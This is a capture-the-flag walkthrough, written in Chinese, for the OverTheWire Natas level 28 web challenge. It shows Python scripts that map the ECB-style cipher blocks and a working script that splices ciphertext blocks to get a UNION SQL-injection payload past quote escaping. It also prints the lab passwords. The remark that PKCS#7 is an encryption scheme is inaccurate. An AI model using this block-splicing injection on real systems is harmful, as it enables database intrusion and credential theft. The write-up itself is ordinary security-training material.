Overthewire level 27 to level 28
这一关和之前不一样,并没有给我们源码信息,稍微加大了一点难度。
题目给我们的信息很简单,一个搜索框,搜索后会返回一些笑话。
第一步 猜测
输入字符串a
,观察网络请求,发现网络请求经历了两步,第一步是post
传输原本的请求,第二步是重定向到另外一个get
的页面中。该页面的请求有一个比较复杂的参数query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKriAqPE2%2B%2BuYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
看起来这是个比较复杂的加密...先不去管它。
检查一下自己的cookie,发现这一关并没有设置cookie,说明这个query参数中已经包含了所有的信息。大致猜一下,是把sql查询经过某种形式的加密后直接放到get的参数中。由于不知道加密方式,所以直接伪造密文的方式不可取。
先试试一些简单sql注入。'or 1=1#--
, or 1=1#--
, 发现都不起作用,可以判断该请求对一些特殊字符做了转义。
最后试试篡改一下query的参数,请求http://natas28.natas.labs.overthewire.org/search.php/?query=a
, 发现它给我们返还了一个报错信息Incorrect amount of PKCS#7 padding for blocksize
, 这大概就是本题的突破口了。
第二步 pkcs#7
网上搜索pkcs#7
, 这是一种加密公钥机制, 并且是分组加密。
分组加密的原理大致说一下
- 把原文按固定长度分成若干个组,最后一个组如果长度不足则用一些数据填充。
- 把每个组分别用一个密钥加密,然后把每个组加密后的密文拼起来形成完整的密文
在pkcs#7
中,每个组用来加密的密钥是相同的。也就是说当一个组的内容确定后,不管它前面和后面的内容是什么,该组加密后的内容不再改变。
第三步 block大小
确定这是一个分组加密之后,我们用一个算法来看看每个分组的长度是多少。代码如下
import base64
from urllib.parse import urlparse, parse_qs
import requests
auth = ('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF')
target = 'http://natas28.natas.labs.overthewire.org/'
for i in range(1, 30):
resp = requests.post(
target,
auth=auth,
data={'query': 'a' * i}
)
q = base64.b64decode(parse_qs(urlparse(resp.url).query)['query'][0]).hex()
print(q, i)
运行结果如下
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 ab880a8f136fbeb98967891324a1b075 bdfa1054ec68515cf96f2a5544591947 904f4b2abf2c2d7686aa72a53151c970 1
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 b130a531bec89c705213bfa5c9667ac7 48799a07b1d29b5982015c9355c2e00e aded9bdbaca6a73b71b35a010d2c4c57 2
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 2f5293a63acb9fe8c7b4e824b76d6a1d 9a2e2b5db6f31f19a14f75678eadaa90 4249b93e4dea0909479995b9c44b351a 3
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 3504a9a9675ffd614b4f1f90d284fcaa 29287f3cc5479e12e66f31c863b18047 56d5732dc8c770f64397158bc17a6e66 4
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c36a1f0469158a3052166146a5e3f2ec ac3b871c1c448386b45cd36d9e8f72f4 655149bbba2123d89d95417ea27f3a7b 5
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 4a11ffe73afd15daa05eb3c3486dcde1 41c098c4bacdc5ed9357564e5105dd7e 64d0dcc868253692adfcbd3796d1bf8a 6
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 9fde1cef6e3f84a172633f3074fc8e18 6486954aea46fb93e9ab85845b4f4bd0 d7ff2b725453fc294701e51f5d7c0f8e 7
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 453e0020602f4dccd50f0eb7709477c2 896de90884f86108b167f8b4aea5d763 917232051483e68e458fd066167b30a3 8
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 9e622686a52640595706099abcb052bb a09522f301cf9d36ac7023f165948c5a 9739cd90522fa7a86f95773b56f9f8c0 9
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 738a5ffb4a4500246775175ae596bbd6 f34df339c69edce11f6650bbced62702 10
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b4eda087d3c0bea2bedc1b6140b9e2eb ca8cf4e610913abae39a067619204a5a 11
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e ce82a9553b65b81280fb6d3bf2900f47 75fd5044fd063d26f6bb7f734b41c899 12
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 1f74714d76fcc5d464c6a221e6ed98e4 6223a14d9c4291b98775b03fbc73d4ed d8ae51d7da71b2b083d919a0d7b88b98 13
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e ecd36f8fd9164d403540e449707d27e5 4257a343daadaaf2c0e3a1d71ce03dd1 7b7baca655f298a321e90e3f7a60d4d8 14
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 5aef2a997da2363f72a3fad332d1736f a773f3185094aa01408f1f97d037d385 678c5773ecc28f870e4f4ebc6c8070a4 15
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 8925158cfc5ac06d22bfda0b72c8f151 a77e8ed1aabe0b5d05c4ffe6ac1423ab 478eb1a1fe261a2c6c15061109b3feda 16
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e adf8a1ad0177ed1ecad3ac7c1082aa9e bdfa1054ec68515cf96f2a5544591947 904f4b2abf2c2d7686aa72a53151c970 17
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 53d9499ebcad6861f04b7cdc24f30462 48799a07b1d29b5982015c9355c2e00e aded9bdbaca6a73b71b35a010d2c4c57 18
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e a549fda52b6d9b4e2632db31838856d5 9a2e2b5db6f31f19a14f75678eadaa90 4249b93e4dea0909479995b9c44b351a 19
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 2011bbe488dde1bbec961b6170b30e12 29287f3cc5479e12e66f31c863b18047 56d5732dc8c770f64397158bc17a6e66 20
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 8829a1f930ceb566b834441c0577402c ac3b871c1c448386b45cd36d9e8f72f4 655149bbba2123d89d95417ea27f3a7b 21
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 547602b52fae1566ac8e971f91f6d605 41c098c4bacdc5ed9357564e5105dd7e 64d0dcc868253692adfcbd3796d1bf8a 22
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e a45a93ee4794d1b6204fb0920b68f27d 6486954aea46fb93e9ab85845b4f4bd0 d7ff2b725453fc294701e51f5d7c0f8e 23
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e eda118f999f9495e8f3d973fba6528a3 896de90884f86108b167f8b4aea5d763 917232051483e68e458fd066167b30a3 24
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e f2909c4d53781ee1777a012bb1a72541 a09522f301cf9d36ac7023f165948c5a 9739cd90522fa7a86f95773b56f9f8c0 25
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b39038c28df79b65d26151df58f7eaa3 738a5ffb4a4500246775175ae596bbd6 f34df339c69edce11f6650bbced62702 26
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b39038c28df79b65d26151df58f7eaa3 b4eda087d3c0bea2bedc1b6140b9e2eb ca8cf4e610913abae39a067619204a5a 27
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b39038c28df79b65d26151df58f7eaa3 ce82a9553b65b81280fb6d3bf2900f47 75fd5044fd063d26f6bb7f734b41c899 28
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b39038c28df79b65d26151df58f7eaa3 1f74714d76fcc5d464c6a221e6ed98e4 6223a14d9c4291b98775b03fbc73d4ed d8ae51d7da71b2b083d919a0d7b88b98 29
这里我们有一些小小的观察:
- 前两个块的信息保持不变
- 在查询'a' * 13时append了一个新块,之后在查询'a' * 29时又append了一个新块
- 在查询'a' * 10时第三个块就达到稳定状态
综合上述信息,可以得出以下结论
- 块的大小是16个byte,这里因为是按16进制打印,所以是32个字母
- 加密的逻辑类似于
encrypt(escape("select xxx from xxx where data = '$query' and xxx";))
第一个结论比较容易看出来,第二个结论是因为第三个块达到稳定状态时只用了10个'a',但是添加新块却用了13个'a',说明用户查询的字段是在整个sql语句的中间部分。前面因为已经有了类似于select xxx
之类的语句,因此前两个块总是保持不变。在插入第11个'a'后,第三个块保持不变,此时第三块后面的部分全部被'a'所占据,剩余的'a'和and xxx
之类的语句被挤到更右边的块中,此时查询会导致后面的块变动。
第四步 被转义的字符
在之前的分析中,大概能猜到单引号等特殊字符被转义了,在知道每个块的大小后,我们便可以准确的知道到底哪些字符被转义了。具体步骤如下
- 选择可能被转义的字符c
- 查询11 * 'a' + c,如果该字符被转义,那么实际上查询的是13个字符,根据第三步,查询13个字符时会新增一个块
- 看哪些字符新增了块,这些字符即是被转义的字符
import base64
from urllib.parse import urlparse, parse_qs, quote
import requests
auth = ('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF')
target = 'http://natas28.natas.labs.overthewire.org/'
specialChars = ['a', '\'', '"', '\\', '/', '#', '?', '%']
for c in specialChars:
resp = requests.post(
target,
auth=auth,
data={'query': 'a' * 11 + c}
)
q = base64.b64decode(parse_qs(urlparse(resp.url).query)['query'][0]).hex()
for j in range(len(q) // 32):
print(q[j * 32: (j + 1) * 32], end=' ')
print()
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e ce82a9553b65b81280fb6d3bf2900f47 75fd5044fd063d26f6bb7f734b41c899
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 0284789694d18f5ed18cffa99e4e2c77 6223a14d9c4291b98775b03fbc73d4ed d8ae51d7da71b2b083d919a0d7b88b98
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 66750e9060a158a77faa76fd68de4e38 6223a14d9c4291b98775b03fbc73d4ed d8ae51d7da71b2b083d919a0d7b88b98
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b0f1a233413dcb1c2ceb5b713b4a3c31 6223a14d9c4291b98775b03fbc73d4ed d8ae51d7da71b2b083d919a0d7b88b98
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e d9645cab79e1f80919397bfeb6efb7fb 75fd5044fd063d26f6bb7f734b41c899
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e bb1a501822125a0722274576dac92e9d 75fd5044fd063d26f6bb7f734b41c899
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 79abd93a06604a255315ac5e28a2395f 75fd5044fd063d26f6bb7f734b41c899
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e ea4436dc1e6914a9dfbbeeed0cfb9435 75fd5044fd063d26f6bb7f734b41c899
从结果来看,被转义的字符有'
, "
, \
第五步 攻击原理
在第一步的尝试中,直接构造的sql注入被转义到了正常的字符串中,因此我们需要一个机制来使得转义机制失效。
还记得在第二步中介绍过,在pkcs#7
中,每个组用来加密的密钥是相同的。也就是说当一个组的内容确定后,不管它前面和后面的内容是什么,该组加密后的内容不再改变。
我们可以构建一些块,让它前面的块是正常的块,而后面的则是含有sql注入漏洞的块。具体原理如下(用blocksize=8做演示)。
- 搜索正常的内容: aaaaa, 分组结果为
xxxxxxxx
xxxxxxxx
xxxaaaaa
xxxxxxxx- 注入恶意代码: aaaa'sql#--,分组结果为
xxxxxxxx
xxxxxxxx
xxxaaaa
'sql#--x
第一次我们搜索了5个a
,填满了第三个块。第二次我们搜索了4个a
和一个'
,由于'
被转义,搜索的内容被替换成了aaaa\'
,但是第三个块只剩下5个空,因此aaaa\
留在了第三个块,而'
则逃逸到了第四个块。
由于彼此块的加密内容步相互影响,我们可以把前三块加密结果替换成正常的块,把第四块以及之后的保留,这样我们就成功逃逸了'
,构成了一次sql注入。
另外一个小细节,当我们真实攻击的时候,因为可控的输入是在整个字符串的中间位置,当插入10个a
就已经把第三块内容给填满了。因此如果我们要攻击的话,得使用9个a
加上一个'
攻击代码
import base64
from urllib.parse import urlparse, parse_qs, quote
import requests
auth = ('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF')
target = 'http://natas28.natas.labs.overthewire.org'
resp = requests.post(
target,
auth=auth,
data={'query': 'a' * 9 + '\' union all select password from users; # --'}
)
malicious = base64.b64decode(parse_qs(urlparse(resp.url).query)['query'][0]).hex()
resp = requests.post(
target,
auth=auth,
data={'query': 'a' * 10}
)
clean = base64.b64decode(parse_qs(urlparse(resp.url).query)['query'][0]).hex()
payload = quote(base64.b64encode(bytearray.fromhex(clean[:3 * 32] + malicious[3 * 32:])).decode('utf8'))
resp = requests.get(
target + '/search.php/?query=' + payload,
auth=auth
)
print(resp.text)
第29关密码为airooCaiseiyee8he8xongien9euhe8b